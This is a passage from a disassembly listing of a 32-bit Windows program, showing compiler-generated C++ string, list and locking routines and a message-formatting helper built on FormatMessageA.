		mov	dword ptr [esi], offset	off_41C290
		mov	eax, esi
		pop	esi
		retn	4
sub_401806	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_401868:				; CODE XREF: .vty:loc_41AEBDj
					; .vty:loc_41AF0Fj ...
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401869	proc near		; CODE XREF: sub_401F07+41p
					; sub_405EBC+34p ...
		mov	eax, offset loc_41AEB3
		call	sub_41AE44
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_40D862
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41C29C
		call	sub_401C1E
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_401869	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018A5	proc near		; CODE XREF: .vty:004018D3p
					; .vty:004018F2j ...
		push	esi
		mov	esi, ecx
		push	0
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41C29C
		call	sub_4013C4
		mov	ecx, esi
		pop	esi
		jmp	sub_40D931
sub_4018A5	endp

; ---------------------------------------------------------------------------
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_4018CC
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------


loc_4018CC:				; CODE XREF: .vty:004018C6j
		lea	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------


loc_4018D0:				; DATA XREF: .vty:off_41C29Co
		push	esi
		mov	esi, ecx
		call	sub_4018A5
		test	byte ptr [esp+8], 1
		jz	short loc_4018E6
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_4018E6:				; CODE XREF: .vty:004018DDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4018EC:				; DATA XREF: .vty:0041FEFCo
		mov	dword ptr [ecx], offset	off_41C2A8
		jmp	sub_4018A5
; ---------------------------------------------------------------------------


loc_4018F7:				; DATA XREF: .vty:off_41C2A8o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C2A8
		call	sub_4018A5
		test	byte ptr [esp+8], 1
		jz	short loc_401913
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_401913:				; CODE XREF: .vty:0040190Aj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401919	proc near		; CODE XREF: sub_402420+1Ap
					; .vty:004081AEp
		mov	eax, offset loc_41AEB3
		call	sub_41AE44
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_40D8D9
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41C29C
		call	sub_401C1E
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_401919	endp


; =============== S U B	R O U T	I N E =======================================



sub_40195C	proc near		; CODE XREF: sub_402979+104p
					; sub_402BCF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		lea	eax, [esp+arg_8]
		push	eax
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_401989
		retn
sub_40195C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40196F	proc near		; CODE XREF: sub_403E41+CDp
					; sub_403E41+114p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401A4D
		pop	ebp
		retn
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401989	proc near		; CODE XREF: sub_40195C+Dp
					; sub_401A4D+B8p

var_830		= dword	ptr -830h
var_82C		= byte ptr -82Ch
var_810		= byte ptr -810h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_41B0E9
		push	eax
		mov	large fs:0, esp
		sub	esp, 828h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		test	edi, edi
		jz	short loc_401A29
		lea	esi, [esp+840h+var_82C]
		call	sub_4012E2
		push	[ebp+arg_8]
		and	[esp+844h+var_4], 0
		push	[ebp+arg_4]
		lea	eax, [esp+848h+var_810]
		push	800h
		push	eax
		call	sub_40F6BE
		add	esp, 10h
		lea	eax, [esp+840h+var_810]
		push	eax
		mov	ecx, esi
		call	sub_4013A7
		mov	esi, [ebp+arg_0]
		push	esi
		mov	[esp+844h+var_830], edi
		call	dword_41C070	; RtlEnterCriticalSection
		lea	edi, [esi+18h]
		push	dword ptr [edi+4]
		lea	ecx, [esp+840h+var_82C]
		push	edi
		call	sub_401F07
		mov	eax, [esi+20h]
		cmp	eax, [esi+24h]
		jbe	short loc_401A15
		mov	ebx, edi
		call	sub_401CA0


loc_401A15:				; CODE XREF: sub_401989+83j
		push	esi
		call	dword_41C06C	; RtlLeaveCriticalSection
		push	0
		push	1
		lea	ecx, [esp+848h+var_82C]
		call	sub_4013C4


loc_401A29:				; CODE XREF: sub_401989+28j
		mov	ecx, [esp+840h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_401989	endp

; ---------------------------------------------------------------------------


loc_401A40:				; CODE XREF: .vty:0041B0E4j
		push	0
		push	1
		add	ecx, 4
		call	sub_4013C4
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401A4D	proc near		; CODE XREF: sub_40196F+13p
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+10h]
		lea	ecx, [ebp-28h]
		call	sub_401C44
		xor	ebx, ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+10h]
		push	eax
		push	ebx
		push	dword ptr [ebp+14h]
		mov	[ebp-4], ebx
		push	ebx
		push	1100h
		call	dword_41C064	; FormatMessageA
		cmp	[ebp+10h], ebx
		jz	short loc_401AAB
		push	dword ptr [ebp+10h]
		call	sub_40D970
		pop	ecx
		jmp	short loc_401AA6
; ---------------------------------------------------------------------------


loc_401A93:				; CODE XREF: sub_401A4D+5Aj
		mov	ecx, [ebp+10h]
		add	ecx, eax
		mov	dl, [ecx]
		cmp	dl, 0Dh
		jz	short loc_401AA4
		cmp	dl, 0Ah
		jnz	short loc_401AB2


loc_401AA4:				; CODE XREF: sub_401A4D+50j
		mov	[ecx], bl


loc_401AA6:				; CODE XREF: sub_401A4D+44j
		dec	eax
		jnz	short loc_401A93
		jmp	short loc_401AB2
; ---------------------------------------------------------------------------


loc_401AAB:				; CODE XREF: sub_401A4D+39j
		mov	dword ptr [ebp+10h], offset dword_41E020


loc_401AB2:				; CODE XREF: sub_401A4D+55j
					; sub_401A4D+5Cj
		mov	esi, offset dword_41E024
		jmp	short loc_401AD4
; ---------------------------------------------------------------------------


loc_401AB9:				; CODE XREF: sub_401A4D+A0j
		mov	eax, [ebp+10h]
		push	eax
		mov	[ebp+14h], eax
		call	sub_40D970
		pop	ecx
		push	eax
		push	dword ptr [ebp+14h]
		mov	eax, edi
		lea	ecx, [ebp-28h]
		call	sub_401D1F


loc_401AD4:				; CODE XREF: sub_401A4D+6Aj
		push	esi
		call	sub_40D970
		pop	ecx
		push	eax
		push	esi
		lea	eax, [ebp-28h]
		push	eax
		xor	eax, eax
		call	sub_401E6B
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401AB9
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_401AFB
		lea	eax, [ebp-24h]


loc_401AFB:				; CODE XREF: sub_401A4D+A9j
		push	dword ptr [ebp+18h]
		mov	ecx, [ebp+0Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_401989
		cmp	dword ptr [ebp+10h], offset dword_41E020
		jz	short loc_401B1C
		push	dword ptr [ebp+10h]
		call	dword_41C074	; LocalFree


loc_401B1C:				; CODE XREF: sub_401A4D+C4j
		push	ebx
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	14h
sub_401A4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B38	proc near		; CODE XREF: sub_405089+138p
		mov	eax, offset loc_41AF37
		call	sub_41AE44
		sub	esp, 14h
		and	dword ptr [ebp-14h], 0
		push	esi
		mov	esi, [ebp+8]
		push	edi
		call	sub_4012E2
		and	dword ptr [ebp-4], 0
		push	ebx
		mov	dword ptr [ebp-14h], 1
		call	dword_41C070	; RtlEnterCriticalSection
		lea	edi, [ebx+18h]
		mov	eax, [edi+4]
		mov	eax, [eax]
		mov	[ebp-18h], eax
		mov	[ebp-1Ch], edi


loc_401B73:				; CODE XREF: sub_401B38+C0j
		cmp	dword ptr [ebp-1Ch], 0
		mov	esi, [edi+4]
		jz	short loc_401B81
		cmp	[ebp-1Ch], edi
		jz	short loc_401B86


loc_401B81:				; CODE XREF: sub_401B38+42j
		call	sub_40DCFC


loc_401B86:				; CODE XREF: sub_401B38+47j
		cmp	[ebp-18h], esi
		jz	short loc_401BFD
		lea	esi, [ebp-1Ch]
		call	sub_406402
		mov	eax, [eax]
		cmp	eax, [ebp+0Ch]
		jg	short loc_401BF0
		call	sub_406402
		mov	eax, [eax]
		dec	eax
		jz	short loc_401BCC
		dec	eax
		jz	short loc_401BC5
		dec	eax
		jz	short loc_401BBE
		dec	eax
		jz	short loc_401BB7
		dec	eax
		jnz	short loc_401BD9
		push	offset dword_41E048
		jmp	short loc_401BD1
; ---------------------------------------------------------------------------


loc_401BB7:				; CODE XREF: sub_401B38+73j
		push	offset dword_41E040
		jmp	short loc_401BD1
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: sub_401B38+70j
		push	offset dword_41E038
		jmp	short loc_401BD1
; ---------------------------------------------------------------------------


loc_401BC5:				; CODE XREF: sub_401B38+6Dj
		push	offset dword_41E030
		jmp	short loc_401BD1
; ---------------------------------------------------------------------------


loc_401BCC:				; CODE XREF: sub_401B38+6Aj
		push	offset dword_41E028


loc_401BD1:				; CODE XREF: sub_401B38+7Dj
					; sub_401B38+84j ...
		push	dword ptr [ebp+8]
		call	sub_401C66


loc_401BD9:				; CODE XREF: sub_401B38+76j
		lea	esi, [ebp-1Ch]
		call	sub_406402
		mov	esi, [ebp+8]
		push	0FFFFFFFFh
		add	eax, 4
		push	0
		call	sub_401F95


loc_401BF0:				; CODE XREF: sub_401B38+60j
		lea	esi, [ebp-1Ch]
		call	sub_405D8F
		jmp	loc_401B73
; ---------------------------------------------------------------------------


loc_401BFD:				; CODE XREF: sub_401B38+51j
		mov	esi, edi
		call	sub_401CE8
		push	ebx
		call	dword_41C06C	; RtlLeaveCriticalSection
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
sub_401B38	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C1E	proc near		; CODE XREF: sub_401869+26p
					; sub_401919+2Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401564
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_401315
		mov	eax, esi
		pop	esi
		retn	4
sub_401C1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C44	proc near		; CODE XREF: sub_401A4D+16p
					; sub_401F07+31p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401564
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_4013A7
		mov	eax, esi
		pop	esi
		retn	4
sub_401C44	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C66	proc near		; CODE XREF: sub_401B38+9Cp
					; sub_403C76+10Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		call	sub_40D970
		pop	ecx
		push	eax
		push	[esp+4+arg_4]
		mov	eax, [esp+8+arg_0]
		call	sub_402039
		retn	8
sub_401C66	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C81	proc near		; CODE XREF: sub_4081BF+21Ep
					; sub_4093C0+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_4]
		call	sub_40D970
		pop	ecx
		push	eax
		push	[esp+4+arg_4]
		mov	eax, [esp+8+arg_8]
		push	[esp+8+arg_0]
		call	sub_401E6B
		retn	0Ch
sub_401C81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401CA0	proc near		; CODE XREF: sub_401989+87p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebx+4]
		push	esi
		push	edi
		mov	edi, [eax]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi
		call	sub_405D8F
		cmp	edi, [ebx+4]
		jz	short loc_401CE4
		mov	eax, [edi+4]
		mov	ecx, [edi]
		mov	[eax], ecx
		mov	ecx, [edi+4]
		mov	eax, [edi]
		push	0
		mov	[eax+4], ecx
		push	1
		lea	ecx, [edi+0Ch]
		call	sub_4013C4
		push	edi
		call	sub_40DD8A
		dec	dword ptr [ebx+8]
		pop	ecx


loc_401CE4:				; CODE XREF: sub_401CA0+1Dj
		pop	edi
		pop	esi
		leave
		retn
sub_401CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CE8	proc near		; CODE XREF: sub_401B38+C7p
					; .vty:0041B68Fp
		mov	eax, [esi+4]
		push	edi
		mov	edi, [eax]
		mov	[eax], eax
		mov	eax, [esi+4]
		mov	[eax+4], eax
		and	dword ptr [esi+8], 0
		cmp	edi, [esi+4]
		jz	short loc_401D1D
		push	ebx


loc_401D00:				; CODE XREF: sub_401CE8+32j
		mov	ebx, [edi]
		push	0
		push	1
		lea	ecx, [edi+0Ch]
		call	sub_4013C4
		push	edi
		call	sub_40DD8A
		cmp	ebx, [esi+4]
		pop	ecx
		mov	edi, ebx
		jnz	short loc_401D00
		pop	ebx


loc_401D1D:				; CODE XREF: sub_401CE8+15j
		pop	edi
		retn
sub_401CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D1F	proc near		; CODE XREF: sub_401A4D+82p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		mov	esi, eax
		mov	edi, ecx
		mov	[ebp+var_4], 2
		call	sub_4016D0
		test	al, al
		jz	short loc_401D5E
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401D4A
		mov	eax, [edi+4]
		jmp	short loc_401D4D
; ---------------------------------------------------------------------------


loc_401D4A:				; CODE XREF: sub_401D1F+24j
		lea	eax, [edi+4]


loc_401D4D:				; CODE XREF: sub_401D1F+29j
		push	[ebp+arg_4]
		sub	ebx, eax
		push	ebx
		push	edi
		call	sub_4020D3
		jmp	loc_401E64
; ---------------------------------------------------------------------------


loc_401D5E:				; CODE XREF: sub_401D1F+1Ej
		cmp	[edi+14h], esi
		jnb	short loc_401D68
		call	sub_40D7C3


loc_401D68:				; CODE XREF: sub_401D1F+42j
		mov	eax, [edi+14h]
		mov	ecx, eax
		sub	ecx, esi
		cmp	ecx, 2
		jnb	short loc_401D77
		mov	[ebp+var_4], ecx


loc_401D77:				; CODE XREF: sub_401D1F+53j
		sub	eax, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		sub	ecx, [ebp+arg_4]
		cmp	ecx, eax
		ja	short loc_401D89
		call	sub_40D784


loc_401D89:				; CODE XREF: sub_401D1F+63j
		mov	ebx, [edi+14h]
		mov	eax, [ebp+var_4]
		sub	ebx, esi
		sub	ebx, eax
		cmp	[ebp+arg_4], eax
		jnb	short loc_401DD0
		mov	eax, [edi+18h]
		cmp	eax, 10h
		lea	ecx, [edi+4]
		jb	short loc_401DA7
		mov	edx, [ecx]
		jmp	short loc_401DA9
; ---------------------------------------------------------------------------


loc_401DA7:				; CODE XREF: sub_401D1F+82j
		mov	edx, ecx


loc_401DA9:				; CODE XREF: sub_401D1F+86j
		cmp	eax, 10h
		jb	short loc_401DB0
		mov	ecx, [ecx]


loc_401DB0:				; CODE XREF: sub_401D1F+8Dj
		sub	eax, esi
		sub	eax, [ebp+arg_4]
		add	edx, esi
		add	edx, [ebp+var_4]
		push	ebx
		push	edx
		push	eax
		mov	eax, ecx
		add	eax, esi
		add	eax, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		push	eax
		call	sub_401049
		add	esp, 10h


loc_401DD0:				; CODE XREF: sub_401D1F+77j
		xor	ecx, ecx
		cmp	[ebp+arg_4], ecx
		ja	short loc_401DE0
		cmp	[ebp+var_4], ecx
		jbe	loc_401E62


loc_401DE0:				; CODE XREF: sub_401D1F+B6j
		mov	eax, [edi+14h]
		sub	eax, [ebp+var_4]
		push	ecx
		add	eax, [ebp+arg_4]
		mov	ecx, edi
		push	eax
		mov	[ebp+var_8], eax
		call	sub_401580
		test	al, al
		jz	short loc_401E62
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_401E34
		mov	eax, [edi+18h]
		cmp	eax, 10h
		lea	ecx, [edi+4]
		jb	short loc_401E10
		mov	edx, [ecx]
		jmp	short loc_401E12
; ---------------------------------------------------------------------------


loc_401E10:				; CODE XREF: sub_401D1F+EBj
		mov	edx, ecx


loc_401E12:				; CODE XREF: sub_401D1F+EFj
		cmp	eax, 10h
		jb	short loc_401E19
		mov	ecx, [ecx]


loc_401E19:				; CODE XREF: sub_401D1F+F6j
		add	edx, esi
		add	edx, [ebp+var_4]
		push	ebx
		sub	eax, esi
		sub	eax, [ebp+arg_4]
		push	edx
		add	ecx, esi
		add	ecx, [ebp+arg_4]
		push	eax
		push	ecx
		call	sub_401049
		add	esp, 10h


loc_401E34:				; CODE XREF: sub_401D1F+E0j
		mov	eax, [edi+18h]
		cmp	eax, 10h
		jb	short loc_401E41
		mov	ecx, [edi+4]
		jmp	short loc_401E44
; ---------------------------------------------------------------------------


loc_401E41:				; CODE XREF: sub_401D1F+11Bj
		lea	ecx, [edi+4]


loc_401E44:				; CODE XREF: sub_401D1F+120j
		push	[ebp+arg_4]
		sub	eax, esi
		push	[ebp+arg_0]
		add	ecx, esi
		push	eax
		push	ecx
		call	sub_40102D
		add	esp, 10h
		push	[ebp+var_8]
		mov	ecx, edi
		call	sub_401564


loc_401E62:				; CODE XREF: sub_401D1F+BBj
					; sub_401D1F+D8j
		mov	eax, edi


loc_401E64:				; CODE XREF: sub_401D1F+3Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_401D1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E6B	proc near		; CODE XREF: sub_401A4D+96p
					; sub_401C81+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		mov	ecx, [ebp+arg_0]
		jnz	short loc_401E7D
		cmp	eax, [ecx+14h]
		jbe	short locret_401EEA


loc_401E7D:				; CODE XREF: sub_401E6B+Bj
		push	ebx
		push	esi
		mov	esi, [ecx+14h]
		cmp	eax, esi
		push	edi
		jnb	short loc_401EE4
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		ja	short loc_401EE4
		xor	edx, edx
		inc	edx
		sub	edx, [ebp+arg_8]
		add	esi, edx
		cmp	dword ptr [ecx+18h], 10h
		jb	short loc_401EA6
		add	ecx, 4
		mov	[ebp+var_4], ecx
		mov	ecx, [ecx]
		jmp	short loc_401EAC
; ---------------------------------------------------------------------------


loc_401EA6:				; CODE XREF: sub_401E6B+2Fj
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_401EAC:				; CODE XREF: sub_401E6B+39j
		lea	ebx, [ecx+eax]
		jmp	short loc_401ECD
; ---------------------------------------------------------------------------


loc_401EB1:				; CODE XREF: sub_401E6B+77j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_40DED2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401EEE
		sub	ebx, edi
		lea	esi, [esi+ebx-1]
		lea	ebx, [edi+1]


loc_401ECD:				; CODE XREF: sub_401E6B+44j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		push	esi
		push	eax
		push	ebx
		call	sub_40F560
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_401EB1


loc_401EE4:				; CODE XREF: sub_401E6B+1Aj
					; sub_401E6B+21j
		or	eax, 0FFFFFFFFh


loc_401EE7:				; CODE XREF: sub_401E6B+9Aj
		pop	edi
		pop	esi
		pop	ebx

locret_401EEA:				; CODE XREF: sub_401E6B+10j
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: sub_401E6B+57j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_401EFE
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		jmp	short loc_401F01
; ---------------------------------------------------------------------------


loc_401EFE:				; CODE XREF: sub_401E6B+8Aj
		mov	ecx, [ebp+var_4]


loc_401F01:				; CODE XREF: sub_401E6B+91j
		mov	eax, edi
		sub	eax, ecx
		jmp	short loc_401EE7
sub_401E6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F07	proc near		; CODE XREF: sub_401989+78p
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 48h
		push	esi
		mov	esi, [ebp+0Ch]
		push	dword ptr [esi+4]
		push	esi
		call	sub_4023B8
		mov	ecx, [edi+8]
		mov	edx, 7FFFFFFh
		sub	edx, ecx
		cmp	edx, 1
		jnb	short loc_401F62
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-2Ch]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401869
		push	offset dword_41FEF8
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41C2A8
		call	sub_4107BC


loc_401F62:				; CODE XREF: sub_401F07+27j
		inc	ecx
		mov	[edi+8], ecx
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
sub_401F07	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F7D	proc near		; CODE XREF: sub_4024A7+25p
		push	28h
		call	sub_40DE68
		test	eax, eax
		pop	ecx
		jz	short loc_401F8B
		mov	[eax], eax


loc_401F8B:				; CODE XREF: sub_401F7D+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_401F94
		mov	[ecx], eax

locret_401F94:				; CODE XREF: sub_401F7D+13j
		retn
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F95	proc near		; CODE XREF: sub_401B38+B3p
					; sub_402039+2Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	edi
		mov	edi, eax
		mov	eax, [edi+14h]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_401FAD
		call	sub_40D7C3


loc_401FAD:				; CODE XREF: sub_401F95+11j
		mov	eax, [edi+14h]
		sub	eax, [ebp+arg_0]
		cmp	eax, ebx
		jnb	short loc_401FBC
		mov	ebx, eax
		mov	[ebp+arg_4], ebx


loc_401FBC:				; CODE XREF: sub_401F95+20j
		or	eax, 0FFFFFFFFh
		sub	eax, [esi+14h]
		cmp	eax, ebx
		jbe	short loc_401FD0
		mov	eax, [esi+14h]
		lea	ecx, [eax+ebx]
		cmp	ecx, eax
		jnb	short loc_401FD5


loc_401FD0:				; CODE XREF: sub_401F95+2Fj
		call	sub_40D784


loc_401FD5:				; CODE XREF: sub_401F95+39j
		test	ebx, ebx
		jbe	short loc_402031
		mov	eax, [esi+14h]
		add	eax, ebx
		push	0
		push	eax
		mov	ecx, esi
		mov	[ebp+var_4], eax
		call	sub_401580
		test	al, al
		jz	short loc_402031
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401FFA
		mov	edi, [edi+4]
		jmp	short loc_401FFD
; ---------------------------------------------------------------------------


loc_401FFA:				; CODE XREF: sub_401F95+5Ej
		add	edi, 4


loc_401FFD:				; CODE XREF: sub_401F95+63j
		mov	eax, [esi+18h]


loc_402000:				; DATA XREF: .vty:00427598r
		cmp	eax, 10h
		jb	short loc_40200A ; DATA	XREF: .vty:00427586r
		mov	edx, [esi+4]


loc_402008:				; DATA XREF: .vty:00427580r
		jmp	short loc_40200D
; ---------------------------------------------------------------------------


loc_40200A:				; CODE XREF: sub_401F95+6Ej
					; DATA XREF: sub_4274B4+9Br
		lea	edx, [esi+4]


loc_40200D:				; CODE XREF: sub_401F95:loc_402008j
		push	[ebp+arg_4]


loc_402010:				; DATA XREF: sub_4274B4+1Dr
		mov	ecx, [esi+14h]
		mov	ebx, [ebp+arg_0] ; DATA	XREF: sub_4274B4+69r
		add	edi, ebx


loc_402018:				; DATA XREF: sub_4274B4+49r
		sub	eax, ecx
		push	edi
		push	eax


loc_40201C:				; DATA XREF: sub_4274B4+56r
		add	ecx, edx
		push	ecx
		call	sub_40102D	; DATA XREF: sub_4274B4+23r


loc_402024:				; DATA XREF: sub_4274B4+Dr
		add	esp, 10h
		push	[ebp+var_4]
		mov	ecx, esi


loc_40202C:				; DATA XREF: .vty:004275B8r
		call	sub_401564


loc_402031:				; CODE XREF: sub_401F95+42j
					; sub_401F95+58j
		pop	edi
		mov	eax, esi
		pop	ebx
		leave
		retn	8
sub_401F95	endp


; =============== S U B	R O U T	I N E =======================================



sub_402039	proc near		; CODE XREF: sub_401C66+13p
					; sub_403E41+1DAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, eax
		push	edi
		mov	ecx, esi
		call	sub_4016D0
		test	al, al
		jz	short loc_40206D
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40205D
		mov	eax, [esi+4]
		jmp	short loc_402060
; ---------------------------------------------------------------------------


loc_40205D:				; CODE XREF: sub_402039+1Dj
		lea	eax, [esi+4]


loc_402060:				; CODE XREF: sub_402039+22j
		sub	edi, eax
		push	ebx
		push	edi
		mov	eax, esi
		call	sub_401F95
		jmp	short loc_4020CD
; ---------------------------------------------------------------------------


loc_40206D:				; CODE XREF: sub_402039+17j
		or	eax, 0FFFFFFFFh
		sub	eax, [esi+14h]
		cmp	eax, ebx
		jbe	short loc_402081
		mov	eax, [esi+14h]
		lea	ecx, [eax+ebx]
		cmp	ecx, eax
		jnb	short loc_402086


loc_402081:				; CODE XREF: sub_402039+3Cj
		call	sub_40D784


loc_402086:				; CODE XREF: sub_402039+46j
		test	ebx, ebx
		jbe	short loc_4020CB
		mov	edi, [esi+14h]
		push	0
		add	edi, ebx
		push	edi
		mov	ecx, esi
		call	sub_401580
		test	al, al
		jz	short loc_4020CB
		mov	eax, [esi+18h]
		cmp	eax, 10h
		jb	short loc_4020AA
		mov	edx, [esi+4]
		jmp	short loc_4020AD
; ---------------------------------------------------------------------------


loc_4020AA:				; CODE XREF: sub_402039+6Aj
		lea	edx, [esi+4]


loc_4020AD:				; CODE XREF: sub_402039+6Fj
		mov	ecx, [esi+14h]
		push	ebx
		push	[esp+10h+arg_0]
		sub	eax, ecx
		push	eax
		add	ecx, edx
		push	ecx
		call	sub_40102D
		add	esp, 10h
		push	edi
		mov	ecx, esi
		call	sub_401564


loc_4020CB:				; CODE XREF: sub_402039+4Fj
					; sub_402039+62j
		mov	eax, esi


loc_4020CD:				; CODE XREF: sub_402039+32j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402039	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020D3	proc near		; CODE XREF: sub_401D1F+35p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[edi+14h], esi
		push	ebx
		push	2
		pop	ebx
		mov	[ebp+var_4], ebx
		jb	short loc_4020F0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
